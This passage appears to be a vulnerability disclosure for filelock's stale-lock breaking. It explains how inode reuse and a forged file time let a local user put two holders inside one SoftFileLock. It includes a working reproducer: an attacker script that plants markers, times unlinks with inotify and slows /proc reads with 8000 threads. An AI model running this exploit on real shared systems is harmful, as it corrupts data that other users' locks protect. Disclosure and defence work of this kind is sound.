filelock: SoftFileLock stale-lock break removes a live lock file on a reused inode number and admits two holders

filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.

Affected code

At the scanned commit b831496, the re-check sits in break_lock_file. Its callers are SoftFileLock._try_break_stale_lock, MarkerSoftFileLock._try_break_stale_lock and SoftFileLease._try_break_stale_lock. The reader _read_lock_file closes the judged marker before the verdict.

Introduced

e35c3afac473 ("feat(soft): detect and break stale locks", #476, 2026-02-13), first released in 3.22.0 (verified against the tags). Every release since, up to 4.2.0, carries the check.

Mechanism

_try_break_stale_lock reads the marker through _read_lock_file (lstat, O_RDONLY | O_NONBLOCK | O_NOFOLLOW open, fstat, read, close), decides with owner_is_stale that the owner is gone, and calls break_lock_file(lock_file, mtime, ino):

# src/filelock/_util.py:113-118
if (current := os.lstat(lock_file)).st_mtime > mtime_before or current.st_ino != ino_before:
    return
break_path: Final[str] = f"{lock_file}.break.{os.getpid()}.{secrets.token_hex(16)}"
Path(lock_file).rename(break_path)
if (st_after := os.lstat(break_path)).st_mtime <= mtime_before and st_after.st_ino == ino_before:
    Path(break_path).unlink()

Between the close in _read_lock_file and the lstat on line 113 nothing keeps the inode allocated. An inode number identifies a file only while something holds that inode. The release path already says so ("Our open descriptor keeps the inode allocated, so its number cannot name a successor's marker yet"); the break path does not. That leaves the modification time, which the file's owner sets to any value and which the code compares by order. With two jobs A and B of the lock user and the other user:

1. The other user creates app.lock (inode I) with the record <its own pid>\n<host>\n1\n and sets its time to the year 2100 with os.utime(). A live PID with a wrong start token (the value that identifies one incarnation of a PID) is a recycled PID, so every contender judges the owner stale. On its own this marker only makes the lock user's processes wait: they cannot rename another user's file in a sticky directory (EPERM, and acquire(timeout=1) raises Timeout).
2. A polls, reads (record, mtime=2100, ino=I), closes the file and enters owner_is_stale().
3. The other user unlinks its marker. Inode I is free.
4. B polls. The path is empty, so O_EXCL (create only if absent) succeeds and ext4 gives the new marker inode number I. B holds the lock.
5. A reaches line 113 and looks at B's marker: its time (now) is not newer than 2100 and its inode number is I. A renames it (it is the lock user's own file, so the sticky bit does not object), line 117 passes for the same reason, and line 118 unlinks the live marker.
6. The path is empty again while B is still inside. The next contender to poll, A included, creates its marker and holds the lock as well.

When B releases, _unlink_open_marker finds another file at the path and leaves it alone, so neither side raises or logs anything. This is not the documented rename/link-back window: the code does not take the link-back branch and leaves no app.lock.break.* file behind. With a marker dated 2000, line 113 sees a newer time on B's marker and returns.

The other user does not need luck for the timing of step 3. It sees A's close() through inotify (a Linux facility that reports file events; here IN_CLOSE_NOWRITE on its own file), and it chooses how long A stays in owner_is_stale(). To compare the start token, process_start_token() reads /proc/<pid>/stat, and the kernel walks every thread of that process. Measured as victim, owner_is_stale() takes a median of 19 µs for a dead PID and 931 µs for a process with 8000 idle threads. Step 4 then needs another contender's 50 ms poll to fall into that millisecond, and the other user retries at every release of the lock.

A forged time is not required, only convenient. File times advance in 4 ms steps, so a successor's marker created in the same step as the stale marker's last write compares equal and passes > / <= too (8, 16 and 16 overlaps in three 20-second runs with the os.utime() call removed, and still 9 with the comparisons changed to != / ==). Outside a container the window is wider. With a bare hostname owner_is_stale() goes on to _owner_runs_elsewhere(), which reads /proc/<pid>/stat of every process on the machine (7 ms with 500 processes, 45 ms with 3000, against the default 50 ms poll_interval). With 3000 idle processes of the other user, both jobs of the lock user were inside at once in 12 and 13 of 30 rounds.

MarkerSoftFileLock and SoftFileLease read with _read_lock_file() and call break_lock_file() in the same way, and showed the same overlap when a stall held A 3 s in its kill(pid, 0) probe. The malformed-marker self-heal in SoftFileLock hands break_lock_file() values from the same closed descriptor. Where the lock user may rename the other user's file (it owns the sticky directory, or is root), the other user only acquires the free lock, dates the marker ahead and exits without releasing. The first contender then breaks that marker as designed and creates its own on the freed number, and a second contender that judged the planted marker before that break removes the live one. Two of the project's own tests at the scanned commit hit the same case without any other user (test_stale_break_racing_a_successor_admits_no_third_holder, test_break_lock_file_leaves_a_swapped_in_symlink_aside), failing in 10 of 14 runs on ext4.

Reproduction

The scanner's reproducer for finding ANT-2026-KIIS96IX, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The repro script drives the files under repro.d/.

repro

#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys

LOCK_DIR = "/tmp/shared-locks"
LOCK_PATH = f"{LOCK_DIR}/app.lock"
VICTIM_JOBS = 6
RUN_SECONDS = 20
JAN_1_2000 = 946684800
JAN_1_2100 = 4102444800


def run_victim_jobs_beside_attacker(stale_marker_mtime):
    # set up: an empty root-owned sticky directory, like /tmp (the sticky bit stops the attacker removing victim files)
    shutil.rmtree(LOCK_DIR, ignore_errors=True)
    os.mkdir(LOCK_DIR)
    os.chmod(LOCK_DIR, 0o1777)

    # run: nobody is paused or traced; the attacker and the victim's jobs just run side by side
    attacker = subprocess.Popen(
        [sys.executable, "/tmp/repro.d/plant_stale_markers.py", LOCK_PATH, str(stale_marker_mtime)],
        stdout=subprocess.PIPE,
        text=True,
        user="attacker",
        group="attacker",
        extra_groups=[],
    )
    try:
        assert attacker.stdout.readline() == "ready\n"
        jobs = [
            subprocess.Popen(
                [sys.executable, "/tmp/repro.d/victim_job.py", LOCK_PATH, str(RUN_SECONDS)],
                stdout=subprocess.PIPE,
                text=True,
                user="victim",
                group="victim",
                extra_groups=[],
            )
            for _ in range(VICTIM_JOBS)
        ]
        holds = []
        for number, job in enumerate(jobs):
            output, _ = job.communicate(timeout=RUN_SECONDS + 60)
            assert job.returncode == 0  # no Timeout or other exception reached the victim's code
            for line in output.splitlines():
                entered, left, is_locked = line.split()
                assert is_locked == "True"  # the job believed it held the lock
                holds.append((float(entered), float(left), f"job{number}"))
    finally:
        attacker.kill()
        attacker.wait()
    break_files = [name for name in os.listdir(LOCK_DIR) if ".break." in name]
    return sorted(holds), break_files


def overlapping_holds(holds):
    # time.monotonic() is CLOCK_MONOTONIC, one clock for every process on the host, so the intervals compare directly
    return [
        (first, second)
        for index, first in enumerate(holds)
        for second in holds[index + 1 :]
        if second[0] < first[1]  # sorted by entry: the second entered before the first had left
    ]


control_holds, _ = run_victim_jobs_beside_attacker(JAN_1_2000)
control_overlaps = overlapping_holds(control_holds)
print(f"CONTROL  attacker's stale markers dated 2000: {len(control_holds)} holds by {VICTIM_JOBS} victim jobs")
print(f"  two jobs inside the lock at once: {len(control_overlaps)} times")

attack_holds, break_files = run_victim_jobs_beside_attacker(JAN_1_2100)
attack_overlaps = overlapping_holds(attack_holds)
print(f"OBSERVED attacker's stale markers dated 2100: {len(attack_holds)} holds by {VICTIM_JOBS} victim jobs")
print(f"  two jobs inside the lock at once: {len(attack_overlaps)} times")
for (entered, left, job), (other_entered, other_left, other_job) in attack_overlaps[:3]:
    print(f"    {job} inside {entered:.3f}-{left:.3f}, {other_job} inside {other_entered:.3f}-{other_left:.3f}")
# the documented rename/link-back window of a stale break would strand a live marker as app.lock.break.*
print(f"  stale-break files left in {LOCK_DIR}: {break_files}")

# check: an exclusive lock with default options must never have two holders at once
print("BUG" if not control_overlaps and attack_overlaps else "OK")

repro.d/plant_stale_markers.py

#!/usr/bin/env python3
import ctypes
import os
import sys
import threading
import time

from filelock import SoftFileLock

lock_path, marker_mtime = sys.argv[1], int(sys.argv[2])
IN_CLOSE_NOWRITE = 0x10
libc = ctypes.CDLL(None)

# contenders only judge markers written on their own host, so take the host string from a marker of our own
with SoftFileLock(lock_path):
    with open(lock_path) as own_marker:
        host = own_marker.read().splitlines()[1]

# <pid>\n<host>\n<start token>\n: this PID is alive but its start token is not 1, so it reads as a recycled PID
# and every contender judges the marker stale
stale_marker = f"{os.getpid()}\n{host}\n1\n".encode()

# To compare start tokens a contender reads /proc/<pid>/stat, and the kernel walks every thread of that process:
# with 8000 threads that is about 1 ms between the contender reading the marker and breaking it.
threading.stack_size(64 * 1024)
for _ in range(8000):
    threading.Thread(target=threading.Event().wait, daemon=True).start()
print("ready", flush=True)

while True:
    # plant the stale marker whenever the lock path is free
    try:
        fd = os.open(lock_path, os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644)
    except FileExistsError:
        time.sleep(0.0002)
        continue
    os.write(fd, stale_marker)
    os.utime(fd, (marker_mtime, marker_mtime))  # a file's owner may give it any modification time
    os.close(fd)

    # once a contender has read it, unlink it: its inode number is free again for the next holder's marker
    inotify = libc.inotify_init()
    libc.inotify_add_watch(inotify, lock_path.encode(), IN_CLOSE_NOWRITE)
    os.read(inotify, 4096)
    os.unlink(lock_path)
    os.close(inotify)

    # creating anything before the next holder does would take that inode number away from it
    while not os.path.lexists(lock_path):
        time.sleep(0.0002)

repro.d/victim_job.py

#!/usr/bin/env python3
import random
import sys
import time

from filelock import SoftFileLock

lock_path, run_seconds = sys.argv[1], float(sys.argv[2])

lock = SoftFileLock(lock_path)
stop_at = time.monotonic() + run_seconds
while time.monotonic() < stop_at:
    with lock:
        entered = time.monotonic()
        time.sleep(random.uniform(0.05, 0.15))  # the work the lock protects
        print(entered, time.monotonic(), lock.is_locked, flush=True)

Attack sequence

sequenceDiagram
    participant X as other local user (uid 1001)
    participant P as app.lock (root-owned 1777 dir, ext4)
    participant A as process A of the lock user (uid 1000)
    participant B as process B of the lock user (uid 1000)
    X->>P: create "livepid host 1", utime to 2100 (inode I)
    A->>P: open, fstat (ino I, mtime 2100), read, close
    A->>A: owner_is_stale: recycled PID (slow: /proc read of X's 8000-thread process)
    rect rgb(255, 214, 214)
        X->>P: inotify IN_CLOSE_NOWRITE on own file: unlink it, I is free
        B->>P: O_CREAT|O_EXCL: new marker gets inode I, B holds and enters
        A->>P: lstat: mtime now <= 2100 and ino == I: rename to app.lock.break.*
        A->>P: lstat break name: same, unlink B's live marker
        A->>P: next poll 50 ms later: O_EXCL create, A enters beside B
        Note over A,B: B's release finds another inode, leaves it, no error on either side
    end

Evidence

The scanner's reproducer runs six victim jobs (uid 1000) looping with SoftFileLock("/tmp/shared-locks/app.lock"): around 50 to 150 ms of work, printing time.monotonic() entry and exit and lock.is_locked, for 20 s. Beside them runs an attacker process (uid 1001) with 8000 idle threads that plants its marker whenever the path is free, waits for IN_CLOSE_NOWRITE, unlinks it and waits for the next victim marker. The control (markers dated 2000) prints 191 holds by 6 victim jobs, two jobs inside the lock at once: 0 times. The disturbed run (dated 2100) prints 196 holds, two jobs inside the lock at once: 15 times, for example job3 inside 130.436-130.530, job5 inside 130.444-130.521, with stale-break files left in /tmp/shared-locks: []. Six runs gave between 11 and 24 overlaps, 0 in each control, every with block ending without error with is_locked == True.

An strace of a landed round shows A's close(4</tmp/app.lock>(deleted)), B's openat(O_WRONLY|O_CREAT|O_EXCL|...) with st_ino=296421, and A's lstat, rename, lstat, unlink all on 296421, followed by B's write(4</tmp/app.lock.break.32232.7d9f...>(deleted), ...) and A's own create 53 ms later.

Our review ran the reproducer over a loop-mounted ext4 /tmp inside the container (the host's btrfs does not reuse a number). Result: BUG on 4.2.0 in 43 s, with the other user as uid 1001 against the lock user's processes as uid 1000; it created and unlinked only its own file in a root-owned 1777 directory. On btrfs the same run is OK, so the condition is the filesystem's inode allocation. On the head of #843 the run was OK with 0 overlaps in 193 holds.

Impact

A local user who can create files in the lock's directory puts two processes of another user inside the same default-configured SoftFileLock, MarkerSoftFileLock or SoftFileLease at once, with no exception, no lifetime, no lease expiry and no break_lock() involved. Two holders then write the data the lock protects. SoftFileLock and MarkerSoftFileLock holders learn nothing. A displaced SoftFileLease holder got compromise.reason == "owner-changed" at its first heartbeat (the periodic refresh a lease holder runs) when the second holder's marker was still at the path, and None after 13 s when the second holder had already released.

It is a race, bu